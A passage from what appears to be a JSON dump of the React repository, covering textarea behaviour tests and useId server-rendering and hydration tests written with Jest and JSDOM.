`defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      expect(node.value).toBe('');\n\n      await act(() => {\n        root.render(<textarea>gorilla</textarea>);\n      });\n\n      expect(node.value).toEqual('');\n    });\n  }\n\n  if (ReactFeatureFlags.disableTextareaChildren) {\n    it('should receive defaultValue and still ignore children content', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const node = await renderTextarea(\n        <textarea defaultValue=\"dragon\">monkey</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      expect(node.value).toBe('dragon');\n    });\n  }\n\n  if (!ReactFeatureFlags.disableTextareaChildren) {\n    it('should treat children like `defaultValue`', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const node = await renderTextarea(\n        <textarea>giraffe</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n\n      expect(node.value).toBe('giraffe');\n\n      await act(() => {\n        root.render(<textarea>gorilla</textarea>);\n      });\n\n      expect(node.value).toEqual('giraffe');\n    });\n  }\n\n  it('should keep value when switching to uncontrolled element if not changed', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value=\"kitten\" onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('kitten');\n\n    await act(() => {\n      root.render(<textarea defaultValue=\"gorilla\" />);\n    });\n\n    expect(node.value).toEqual('kitten');\n  });\n\n  it('should keep value when switching to uncontrolled element if changed', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value=\"kitten\" onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('kitten');\n\n    await act(() => {\n      root.render(<textarea value=\"puppies\" onChange={emptyFunction} />);\n    });\n\n    expect(node.value).toBe('puppies');\n\n    await act(() => {\n      root.render(<textarea defaultValue=\"gorilla\" />);\n    });\n\n    expect(node.value).toEqual('puppies');\n  });\n\n  if (ReactFeatureFlags.disableTextareaChildren) {\n    it('should ignore numbers as children', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const node = await renderTextarea(\n        <textarea>{17}</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      expect(node.value).toBe('');\n    });\n  }\n\n  if (!ReactFeatureFlags.disableTextareaChildren) {\n    it('should allow numbers as children', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const node = await renderTextarea(\n        <textarea>{17}</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      expect(node.value).toBe('17');\n    });\n  }\n\n  if (ReactFeatureFlags.disableTextareaChildren) {\n    it('should ignore booleans as children', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const node = await renderTextarea(\n        <textarea>{false}</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      expect(node.value).toBe('');\n    });\n  }\n\n  if (!ReactFeatureFlags.disableTextareaChildren) {\n    it('should allow booleans as children', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const node = await renderTextarea(\n        <textarea>{false}</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      expect(node.value).toBe('false');\n    });\n  }\n\n  if (ReactFeatureFlags.disableTextareaChildren) {\n    it('should ignore objects as children', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const obj = {\n        toString: function () {\n          return 'sharkswithlasers';\n        },\n      };\n      const node = await renderTextarea(\n        <textarea>{obj}</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      expect(node.value).toBe('');\n    });\n  }\n\n  if (!ReactFeatureFlags.disableTextareaChildren) {\n    it('should allow objects as children', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const obj = {\n        toString: function () {\n          return 'sharkswithlasers';\n        },\n      };\n      const node = await renderTextarea(\n        <textarea>{obj}</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      expect(node.value).toBe('sharkswithlasers');\n    });\n  }\n\n  if (!ReactFeatureFlags.disableTextareaChildren) {\n    it('should throw with multiple or invalid children', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(async () => {\n        await act(() => {\n          root.render(\n            <textarea>\n              {'hello'}\n              {'there'}\n            </textarea>,\n          );\n        });\n      }).rejects.toThrow('<textarea> can only have at most one child');\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n\n      let node;\n      await expect(\n        (async () =>\n          (node = await renderTextarea(\n            <textarea>\n              <strong />\n            </textarea>,\n            container,\n            root,\n          )))(),\n      ).resolves.not.toThrow();\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n\n      expect(node.value).toBe('[object Object]');\n    });\n  }\n\n  it('should unmount', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea />);\n    });\n\n    await act(() => {\n      root.unmount();\n    });\n  });\n\n  it('should warn if value is null', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea value={null} />);\n    });\n    assertConsoleErrorDev([\n      '`value` prop on `textarea` should not be null. ' +\n        'Consider using an empty string to clear the component or `undefined` ' +\n        'for uncontrolled components.\\n' +\n        '    in textarea (at **)',\n    ]);\n\n    await act(() => {\n      root.render(<textarea value={null} />);\n    });\n  });\n\n  it('should warn if value and defaultValue are specified', async () => {\n    const InvalidComponent = () => (\n      <textarea value=\"foo\" defaultValue=\"bar\" readOnly={true} />\n    );\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<InvalidComponent />);\n    });\n    assertConsoleErrorDev([\n      'InvalidComponent contains a textarea with both value and defaultValue props. ' +\n        'Textarea elements must be either controlled or uncontrolled ' +\n        '(specify either the value prop, or the defaultValue prop, but not ' +\n        'both). Decide between using a controlled or uncontrolled textarea ' +\n        'and remove one of these props. More info: ' +\n        'https://react.dev/link/controlled-components\\n' +\n        '    in textarea (at **)\\n' +\n        '    in InvalidComponent (at **)',\n    ]);\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<InvalidComponent />);\n    });\n  });\n\n  it('should not warn about missing onChange in uncontrolled textareas', async () => {\n    const container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<textarea />);\n    });\n\n    await act(() => {\n      root.unmount();\n    });\n    root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<textarea value={undefined} />);\n    });\n  });\n\n  it('does not set textContent if value is unchanged', async () => {\n    const container = document.createElement('div');\n    let node;\n    let instance;\n    // Setting defaultValue on a textarea is equivalent to setting textContent,\n    // and is the method we currently use, so we can observe if defaultValue is\n    // is set to determine if textContent is being recreated.\n    // https://html.spec.whatwg.org/#the-textarea-element\n    let defaultValue;\n    const set = jest.fn(value => {\n      defaultValue = value;\n    });\n    const get = jest.fn(value => {\n      return defaultValue;\n    });\n    class App extends React.Component {\n      state = {count: 0, text: 'foo'};\n      componentDidMount() {\n        instance = this;\n      }\n      render() {\n        return (\n          <div>\n            <span>{this.state.count}</span>\n            <textarea\n              ref={n => (node = n)}\n              value=\"foo\"\n              onChange={emptyFunction}\n              data-count={this.state.count}\n            />\n          </div>\n        );\n      }\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    defaultValue = node.defaultValue;\n    Object.defineProperty(node, 'defaultValue', {get, set});\n    instance.setState({count: 1});\n    expect(set.mock.calls.length).toBe(0);\n  });\n\n  describe('When given a Symbol value', () => {\n    it('treats initial Symbol value as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<textarea value={Symbol('foobar')} onChange={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <textarea> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in textarea (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n    });\n\n    it('treats initial Symbol children as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<textarea onChange={() => {}}>{Symbol('foo')}</textarea>);\n      });\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n    });\n\n    it('treats updated Symbol value as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<textarea value=\"foo\" onChange={() => {}} />);\n      });\n\n      await act(() => {\n        root.render(<textarea value={Symbol('foo')} onChange={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <textarea> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in textarea (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n    });\n\n    it('treats initial Symbol defaultValue as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<textarea defaultValue={Symbol('foobar')} />);\n      });\n\n      const node = container.firstChild;\n\n      // TODO: defaultValue is a reserved prop and is not validated. Check warnings when they are.\n      expect(node.value).toBe('');\n    });\n\n    it('treats updated Symbol defaultValue as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<textarea defaultValue=\"foo\" />);\n      });\n\n      await act(() => {\n        root.render(<textarea defaultValue={Symbol('foobar')} />);\n      });\n\n      const node = container.firstChild;\n\n      // TODO: defaultValue is a reserved prop and is not validated. Check warnings when they are.\n      expect(node.value).toBe('foo');\n    });\n  });\n\n  describe('When given a function value', () => {\n    it('treats initial function value as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<textarea value={() => {}} onChange={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <textarea> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in textarea (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n    });\n\n    it('treats initial function children as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<textarea onChange={() => {}}>{() => {}}</textarea>);\n      });\n      assertConsoleErrorDev([\n        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\\n' +\n          '    in textarea (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n    });\n\n    it('treats updated function value as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<textarea value=\"foo\" onChange={() => {}} />);\n      });\n\n      await act(() => {\n        root.render(<textarea value={() => {}} onChange={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <textarea> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in textarea (at **)',\n      ]);\n      const node = container.firstChild;\n\n      expect(node.value).toBe('');\n    });\n\n    it('treats initial function defaultValue as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<textarea defaultValue={() => {}} />);\n      });\n\n      const node = container.firstChild;\n\n      // TODO: defaultValue is a reserved prop and is not validated. Check warnings when they are.\n      expect(node.value).toBe('');\n    });\n\n    it('treats updated function defaultValue as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<textarea defaultValue=\"foo\" />);\n      });\n\n      await act(() => {\n        root.render(<textarea defaultValue={() => {}} />);\n      });\n\n      const node = container.firstChild;\n\n      // TODO: defaultValue is a reserved prop and is not validated. Check warnings when they are.\n      expect(node.value).toBe('foo');\n    });\n  });\n\n  it('should remove previous `defaultValue`', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea defaultValue=\"0\" />);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n    expect(node.defaultValue).toBe('0');\n\n    await act(() => {\n      root.render(<textarea />);\n    });\n\n    expect(node.defaultValue).toBe('');\n  });\n\n  it('should treat `defaultValue={null}` as missing', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea defaultValue=\"0\" />);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n    expect(node.defaultValue).toBe('0');\n\n    await act(() => {\n      root.render(<textarea defaultValue={null} />);\n    });\n\n    expect(node.defaultValue).toBe('');\n  });\n\n  it('should not warn about missing onChange if value is undefined', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<textarea value={undefined} />);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should not warn about missing onChange if onChange is set', async () => {\n    const change = jest.fn();\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<textarea value=\"something\" onChange={change} />);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should not warn about missing onChange if disabled is true', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<textarea value=\"something\" disabled={true} />);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should not warn about missing onChange if value is not set', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<textarea value=\"something\" readOnly={true} />);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should warn about missing onChange if value is false', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea value={false} />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form ' +\n        'field without an `onChange` handler. This will render a read-only ' +\n        'field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in textarea (at **)',\n    ]);\n  });\n\n  it('should warn about missing onChange if value is 0', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea value={0} />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form ' +\n        'field without an `onChange` handler. This will render a read-only ' +\n        'field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in textarea (at **)',\n    ]);\n  });\n\n  it('should warn about missing onChange if value is \"0\"', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea value=\"0\" />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form ' +\n        'field without an `onChange` handler. This will render a read-only ' +\n        'field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in textarea (at **)',\n    ]);\n  });\n\n  it('should warn about missing onChange if value is \"\"', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea value=\"\" />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form ' +\n        'field without an `onChange` handler. This will render a read-only ' +\n        'field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in textarea (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMUseId-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\nlet JSDOM;\nlet React;\nlet ReactDOMClient;\nlet clientAct;\nlet ReactDOMFizzServer;\nlet Stream;\nlet Suspense;\nlet useId;\nlet useState;\nlet document;\nlet writable;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet fatalError = undefined;\nlet waitForPaint;\nlet SuspenseList;\n\ndescribe('useId', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    clientAct = require('internal-test-utils').act;\n    ReactDOMFizzServer = require('react-dom/server');\n    Stream = require('stream');\n    Suspense = React.Suspense;\n    useId = React.useId;\n    useState = React.useState;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForPaint = InternalTestUtils.waitForPaint;\n\n    // Test Environment\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    document = jsdom.window.document;\n    container = document.getElementById('container');\n\n    buffer = '';\n    hasErrored = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n  });\n\n  async function serverAct(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.\n    // We also want to execute any scripts that are embedded.\n    // We assume that we have now received a proper fragment of HTML.\n    const bufferedContent = buffer;\n    buffer = '';\n    const fakeBody = document.createElement('body');\n    fakeBody.innerHTML = bufferedContent;\n    while (fakeBody.firstChild) {\n      const node = fakeBody.firstChild;\n      if (node.nodeName === 'SCRIPT') {\n        const script = document.createElement('script');\n        script.textContent = node.textContent;\n        fakeBody.removeChild(node);\n        container.appendChild(script);\n      } else {\n        container.appendChild(node);\n      }\n    }\n  }\n\n  function normalizeTreeIdForTesting(id) {\n    const result = id.match(/_(R|r)_([a-z0-9]*)(H([0-9]*))?_/);\n    if (result === undefined) {\n      throw new Error('Invalid id format');\n    }\n    const [, serverClientPrefix, base32, hookIndex] = result;\n    if (serverClientPrefix.endsWith('r')) {\n      // Client ids aren't stable. For testing purposes, strip out the counter.\n      return (\n        'CLIENT_GENERATED_ID' +\n        (hookIndex !== undefined ? ` (${hookIndex})` : '')\n      );\n    }\n    // Formats the tree id as a binary sequence, so it's easier to visualize\n    // the structure.\n    return (\n      parseInt(base32, 32).toString(2) +\n      (hookIndex !== undefined ? ` (${hookIndex})` : '')\n    );\n  }\n\n  function DivWithId({children}) {\n    const id = normalizeTreeIdForTesting(useId());\n    return <div id={id}>{children}</div>;\n  }\n\n  it('basic example', async () => {\n    function App() {\n      return (\n        <div>\n          <div>\n            <DivWithId />\n            <DivWithId />\n          </div>\n          <DivWithId />\n        </div>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div>\n          <div>\n            <div\n              id=\"101\"\n            />\n            <div\n              id=\"1001\"\n            />\n          </div>\n          <div\n            id=\"10\"\n          />\n        </div>\n      </div>\n    `);\n  });\n\n  it('indirections', async () => {\n    function App() {\n      // There are no forks in this tree, but the parent and the child should\n      // have different ids.\n      return (\n        <DivWithId>\n          <div>\n            <div>\n              <div>\n                <DivWithId />\n              </div>\n            </div>\n          </div>\n        </DivWithId>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div\n          id=\"0\"\n        >\n          <div>\n            <div>\n              <div>\n                <div\n                  id=\"1\"\n                />\n              </div>\n            </div>\n          </div>\n        </div>\n      </div>\n    `);\n  });\n\n  it('StrictMode double rendering', async () => {\n    const {StrictMode} = React;\n\n    function App() {\n      return (\n        <StrictMode>\n          <DivWithId />\n        </StrictMode>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div\n          id=\"0\"\n        />\n      </div>\n    `);\n  });\n\n  it('empty (null) children', async () => {\n    // We don't treat empty children different from non-empty ones, which means\n    // they get allocated a slot when generating ids. There's no inherent reason\n    // to do this; Fiber happens to allocate a fiber for null children that\n    // appear in a list, which is not ideal for performance. For the purposes\n    // of id generation, though, what matters is that Fizz and Fiber\n    // are consistent.\n    function App() {\n      return (\n        <>\n          {null}\n          <DivWithId />\n          {null}\n          <DivWithId />\n        </>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <div\n          id=\"10\"\n        />\n        <div\n          id=\"100\"\n        />\n      </div>\n    `);\n  });\n\n  it('large ids', async () => {\n    // The component in this test outputs a recursive tree of nodes with ids,\n    // where the underlying binary representation is an alternating series of 1s\n    // and 0s. In other words, they are all of the form 101010101.\n    //\n    // Because we use base 32 encoding, the resulting id should consist of\n    // alternating 'a' (01010) and 'l' (10101) characters, except for the the\n    // 'R:' prefix, and the first character after that, which may not correspond\n    // to a complete set of 5 bits.\n    //\n    // Example: _Rclalalalalalalala...:\n    //\n    // We can use this pattern to test large ids that exceed the bitwise\n    // safe range (32 bits). The algorithm should theoretically support ids\n    // of any size.\n\n    function Child({children}) {\n      const id = useId();\n      return <div id={id}>{children}</div>;\n    }\n\n    function App() {\n      let tree = <Child />;\n      for (let i = 0; i < 50; i++) {\n        tree = (\n          <>\n            <Child />\n            {tree}\n          </>\n        );\n      }\n      return tree;\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    const divs = container.querySelectorAll('div');\n\n    // Confirm that every id matches the expected pattern\n    for (let i = 0; i < divs.length; i++) {\n      // Example: _Rclalalalalalalala...:\n      expect(divs[i].id).toMatch(/^_R_.(((al)*a?)((la)*l?))*_$/);\n    }\n  });\n\n  it('multiple ids in a single component', async () => {\n    function App() {\n      const id1 = useId();\n      const id2 = useId();\n      const id3 = useId();\n      return `${id1}, ${id2}, ${id3}`;\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    // We append a suffix to the end of the id to distinguish them\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        _R_0_, _R_0H1_, _R_0H2_\n      </div>\n    `);\n  });\n\n  it('local render phase updates', async () => {\n    function App({swap}) {\n      const [count, setCount] = useState(0);\n      if (count < 3) {\n        setCount(count + 1);\n      }\n      return useId();\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        _R_0_\n      </div>\n    `);\n  });\n\n  // @gate enableSuspenseList\n  it('Supports SuspenseList (reveal order independent)', async () => {\n    function Baz({id, children}) {\n      return <span id={id}>{children}</span>;\n    }\n\n    function Bar({children}) {\n      const id = useId();\n      return <Baz id={id}>{children}</Baz>;\n    }\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"independent\">\n          <Bar>A</Bar>\n          <Bar>B</Bar>\n        </SuspenseList>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_1_\"\n        >\n          A\n        </span>\n        <span\n          id=\"_R_2_\"\n        >\n          B\n        </span>\n      </div>\n    `);\n\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <Foo />);\n    });\n\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_1_\"\n        >\n          A\n        </span>\n        <span\n          id=\"_R_2_\"\n        >\n          B\n        </span>\n      </div>\n    `);\n  });\n\n  // @gate enableSuspenseList\n  it('Supports SuspenseList (reveal order \"together\")', async () => {\n    function Baz({id, children}) {\n      return <span id={id}>{children}</span>;\n    }\n\n    function Bar({children}) {\n      const id = useId();\n      return <Baz id={id}>{children}</Baz>;\n    }\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <Bar>A</Bar>\n          <Bar>B</Bar>\n        </SuspenseList>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_1_\"\n        >\n          A\n        </span>\n        <span\n          id=\"_R_2_\"\n        >\n          B\n        </span>\n      </div>\n    `);\n\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <Foo />);\n    });\n\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_1_\"\n        >\n          A\n        </span>\n        <span\n          id=\"_R_2_\"\n        >\n          B\n        </span>\n      </div>\n    `);\n  });\n\n  // @gate enableSuspenseList\n  it('Supports SuspenseList (reveal order \"forwards\")', async () => {\n    function Baz({id, children}) {\n      return <span id={id}>{children}</span>;\n    }\n\n    function Bar({children}) {\n      const id = useId();\n      return <Baz id={id}>{children}</Baz>;\n    }\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          <Bar>A</Bar>\n          <Bar>B</Bar>\n        </SuspenseList>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_1_\"\n        >\n          A\n        </span>\n        <span\n          id=\"_R_2_\"\n        >\n          B\n        </span>\n      </div>\n    `);\n\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <Foo />);\n    });\n\n    expect(container).toMatchInlineSnapshot(`\n      <div\n        id=\"container\"\n      >\n        <span\n          id=\"_R_1_\"\n        >\n          A\n        </span>\n        <span\n          id=\"_R_2_\"\n        >\n          B\n        </span>\n      </div>\n    `);\n  });\n\n  // @gate enableSuspenseList\n  it('Supports SuspenseList (reveal order \"backwards\") with a single child in a list of many', async () => {\n    function Baz({id, children}) {\n      return <span id={id}>{children}</span>;\n    }\n\n    function Bar({children}) {\n      const id = useId();\n      return <Baz id={id}>{children}</Baz>;\n    }\n\n    function Foo() {\n      return (\n        